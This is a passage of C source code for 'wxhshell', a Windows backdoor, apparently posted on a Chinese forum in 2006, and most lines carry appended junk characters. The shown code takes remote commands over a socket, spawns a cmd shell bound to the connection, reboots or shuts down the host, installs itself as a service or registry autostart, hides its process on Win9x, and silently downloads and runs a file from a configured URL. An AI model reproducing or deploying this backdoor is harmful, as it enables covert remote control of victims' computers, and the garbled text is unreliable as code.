    switch(cmd[0]) { \c CH/  
  (;;ji!i  
  // 帮助 ;b*qunJ3L  
  case '?': { fs 2MYat  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l=p_  
    break; 5{k,/Z[L  
  } 'E9{qPLk(  
  // 安装 Fz';H  
  case 'i': { 6ICW>#fI`  
    if(Install()) \OtreYi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~qj(&[U{c\  
    else ,c|MB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 't}\U&L.{  
    break; .FHk1~\%z^  
    } G@#lf@M]  
  // 卸载 ofV0L  
  case 'r': { $QwpoVp`~  
    if(Uninstall()) o=_7KWOA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -yBKA]"<I  
    else 8 E\zjT!#\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PVp>L*|BZ;  
    break; <+g77NL  
    } _*6]4\;  
  // 显示 wxhshell 所在路径 tRJ5IX##L  
  case 'p': { 6vsA8u(|V#  
    char svExeFile[MAX_PATH]; eZAMV/]jH  
    strcpy(svExeFile,"\n\r"); }n4 T!N  
      strcat(svExeFile,ExeFile); lbda/Zx  
        send(wsh,svExeFile,strlen(svExeFile),0); (O4oI U  
    break; '*mZ/O-  
    } qWheoyAB  
  // 重启 k\ .9iI'6  
  case 'b': { t_jn-Idcf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rtz~:v%  
    if(Boot(REBOOT)) qsp.`9!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F-wAQ:  
    else { olv?$]  
    closesocket(wsh); iW(LD1~7  
    ExitThread(0); `!Z?F]):G  
    } <`uu e  
    break; [oV M9 Q  
    } Pd~=:4  
  // 关机 zp;!HP;/=  
  case 'd': { 1*u]v{JJ(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7Dbm s(:(  
    if(Boot(SHUTDOWN)) qIQ=OY=6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B223W_0"o  
    else { (l^7EpNs  
    closesocket(wsh); O'wmhLa"W  
    ExitThread(0); bpwA|H%{M  
    } O|,9EOrP  
    break; p?y2j  
    } o13jd NQ-  
  // 获取shell ")No t$8  
  case 's': { |T""v_q  
    CmdShell(wsh); 'JMW.;Lh?X  
    closesocket(wsh); *^|\#UIk  
    ExitThread(0); ?d-w#<AiV  
    break; BA: x*(%~  
  } 'c7nh{F  
  // 退出 x^[,0?y2  
  case 'x': { 6]b"n'G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XeI2 <=@%  
    CloseIt(wsh); cZxY,UvYa  
    break; z;>$["t]6  
    } C*b[J  
  // 离开 *uyP+f2O  
  case 'q': { # -luE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^qR|lA@=\  
    closesocket(wsh); 4n1g4c-   
    WSACleanup(); +_7a/3kh  
    exit(1); f"FFgQMkv  
    break; ad: qOm  
        } .g*N +T6O  
  } X>[i<ei  
  } (0NffM1  
mp8GHV  
  // 提示信息 [ @eA o>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pNb2t/8%%  
} Sk|e#{  
  } HJAiQ[m5s  
0qJ (RB  
  return; :>fT=$i@  
} OKMdyyO<l  
sr6 BC.  
// shell模块句柄 ?z9!=A%<V~  
int CmdShell(SOCKET sock) Pz2 b  
{ wu.l-VmGp)  
STARTUPINFO si; [j0[c9.p [  
ZeroMemory(&si,sizeof(si)); +=8wZ]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e%JIqKS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h+1|.d  
PROCESS_INFORMATION ProcessInfo; skcyLIb  
char cmdline[]="cmd"; `MSig)V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cuQ!"iH  
  return 0; &!CVF  
} 754MQK|g  
/9R0}4i7  
// 自身启动模式 M(I%y0  
int StartFromService(void) X vaIOt>A  
{ }i~k:kmV  
typedef struct 1<BKTMBq?{  
{ Dds-;9  
  DWORD ExitStatus; K'ZNIRr/ C  
  DWORD PebBaseAddress; !vgY3S0?rq  
  DWORD AffinityMask; ;0 B1P|7zK  
  DWORD BasePriority; [LnPV2@e  
  ULONG UniqueProcessId; AabQ)23R2  
  ULONG InheritedFromUniqueProcessId; $yASWz  
}   PROCESS_BASIC_INFORMATION; U.<j2K um  
S/`#6  
PROCNTQSIP NtQueryInformationProcess; ez'NHodwk2  
4{uQ}ea  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s?EQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MQ!4"E5"j  
e3 v^j$  
  HANDLE             hProcess; 72s qt5C]  
  PROCESS_BASIC_INFORMATION pbi; 2PlhnUQ7  
2&4nf/sE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1VgGF^cYR  
  if(NULL == hInst ) return 0; W Ej{2+  
J 4gtm"2)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); > ubq{'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Mr)t>4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h=A  
"b hK %N;  
  if (!NtQueryInformationProcess) return 0; Nnh\FaI  
NuQ!huh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s>J5.Z7"'j  
  if(!hProcess) return 0; E5^\]`9P  
-iR2UE@M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dC({B3#e{  
qf x*a88  
  CloseHandle(hProcess); sG u.G  
xT+_JT65  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OeqKKVuQ  
if(hProcess==NULL) return 0; inGUN??  
. }\8Y=  
HMODULE hMod; *K|~]r(F?  
char procName[255]; u}nSdZC  
unsigned long cbNeeded; %/Wk+r9uu  
s:tX3X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z<.&fZ^jS  
\\dUp>1=  
  CloseHandle(hProcess); `7=$I~`  
Am F[#)90P  
if(strstr(procName,"services")) return 1; // 以服务启动 vu+g65"  
Ah2 {kK  
  return 0; // 注册表启动 &gp&i?%X9b  
} i{6&/TBnr  
"UTW(~D'  
// 主模块 Xq;|l?,O  
int StartWxhshell(LPSTR lpCmdLine) r'*$'QY-N  
{ w7@`:W  
  SOCKET wsl; N#ggT9>X  
BOOL val=TRUE; i3w~&y-  
  int port=0; ^{uHph9ny  
  struct sockaddr_in door; ;?/5Mr  
Y$ jX  
  if(wscfg.ws_autoins) Install(); I<#X#_YP  
$+Ze"E  
port=atoi(lpCmdLine); Lk !)G'42  
f}bq  
if(port<=0) port=wscfg.ws_port; r84^/+"T  
~lo43$)^  
  WSADATA data; C+TB>~Gv`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [Qnf]n\FJ  
E2dM0r<]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z^|N]Ej  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~X3g_<b_8  
  door.sin_family = AF_INET; F}}!e.>c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #yH+ENp0   
  door.sin_port = htons(port); =de'Yy:\-  
KZ%i&w#<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |]9@JdmV  
closesocket(wsl);  T01Iu  
return 1; -P}A26qB  
} VL*KBJ  
H{Ewj_L  
  if(listen(wsl,2) == INVALID_SOCKET) { X)KCk2Ax  
closesocket(wsl); /JS_gr@DK  
return 1; S9Sgd&a9  
} P P J^;s  
  Wxhshell(wsl); p^8a<e?f~f  
  WSACleanup(); xxur4@p!  
 8oJl ]  
return 0; [#Qf#T%5h  
;U=b 6xE  
} G[>NP#P  
u+j\PWOtm  
// 以NT服务方式启动 "9_$7.q<y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3:iEt (iCI  
{ S"&Gutu3o  
DWORD   status = 0; >`AK'K8{M  
  DWORD   specificError = 0xfffffff; PuJ3#H T  
%+l95Dv1  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  )kWxp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~z:]rgX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +0&^.N  
  serviceStatus.dwWin32ExitCode     = 0; T]%-Ri  
  serviceStatus.dwServiceSpecificExitCode = 0; J9[7AiEd(/  
  serviceStatus.dwCheckPoint       = 0; ;].X;Ky <  
  serviceStatus.dwWaitHint       = 0; NA0nF8ek  
|`o|;A]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bo|THS  
  if (hServiceStatusHandle==0) return; LTe ({6l0  
gF,=rT1:>r  
status = GetLastError();  @/s|<*  
  if (status!=NO_ERROR) #^L&H oo6  
{ r]!#v{#.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0#WN2f, <:  
    serviceStatus.dwCheckPoint       = 0; ?b+Y])SJK  
    serviceStatus.dwWaitHint       = 0; ~P'.R.e  
    serviceStatus.dwWin32ExitCode     = status; 4gen,^Ij  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^.6yzlY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )g'J'_Sl  
    return; V*@aE  
  } 5REFz  
j,.M!q]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i M !`4  
  serviceStatus.dwCheckPoint       = 0; O.+J%],  
  serviceStatus.dwWaitHint       = 0; vW &G\L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9E ^!i  
} g[(@@TiG  
.aT@'a{F  
// 处理NT服务事件,比如:启动、停止 K;6#v%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ':(AiD-}  
{ :GIBB=D9  
switch(fdwControl) gkd4)\9  
{ gk|>E[.  
case SERVICE_CONTROL_STOP: oJ4HvrUO  
  serviceStatus.dwWin32ExitCode = 0; tY;<S}[@7w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0I.KHIB k  
  serviceStatus.dwCheckPoint   = 0; %j\&}>P4$  
  serviceStatus.dwWaitHint     = 0; ui>jJ(  
  { Kzrd<h]`)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uP* kvi:e  
  } RxqNgun@  
  return; )c4tGT<  
case SERVICE_CONTROL_PAUSE: YD[HBF)~j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5[4wN( )  
  break; ` Tap0V  
case SERVICE_CONTROL_CONTINUE: tBGLEeL/.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `TPIc  
  break; U\P4ts  
case SERVICE_CONTROL_INTERROGATE: $rXCNew(  
  break; +KbkdY Z  
}; b,^ "-r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TO.b- ;  
} yn\c;Z  
/F;2wT;  
// 标准应用程序主函数 + Tp% *  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lMFo)4&P  
{ K? o p3}f?  
|aP`hVm  
// 获取操作系统版本 ;d}>8w&tfy  
OsIsNt=GetOsVer(); Z4i))%or  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x:Q\pZ  
!\7 M7  
  // 从命令行安装 8lM=v> Xc  
  if(strpbrk(lpCmdLine,"iI")) Install(); i6WPf:#wr  
*>a=ku:?  
  // 下载执行文件 WOn<;'}M&  
if(wscfg.ws_downexe) { bN/8 ~!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R>0[w$  
  WinExec(wscfg.ws_filenam,SW_HIDE); SEM?vQ 0"}  
} 8|zavH#P  
n$C- ^3 c  
if(!OsIsNt) { nriSVGi  
// 如果时win9x,隐藏进程并且设置为注册表启动 OdFF)-K >~  
HideProc(); i(|u g_^  
StartWxhshell(lpCmdLine); a(vt"MQ_  
} IVPN=jg?  
else q'8*bu_  
  if(StartFromService()) Rj";?.R*e  
  // 以服务方式启动 71@ eJQ  
  StartServiceCtrlDispatcher(DispatchTable); .jD!+wv{9  
else R%szN.cI  
  // 普通方式启动  oYN"L  
  StartWxhshell(lpCmdLine); _\4#I(  
%Lh%bqGz  
return 0;  ijOp{  
}
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只看该作者 1 发表于: 2006-10-10
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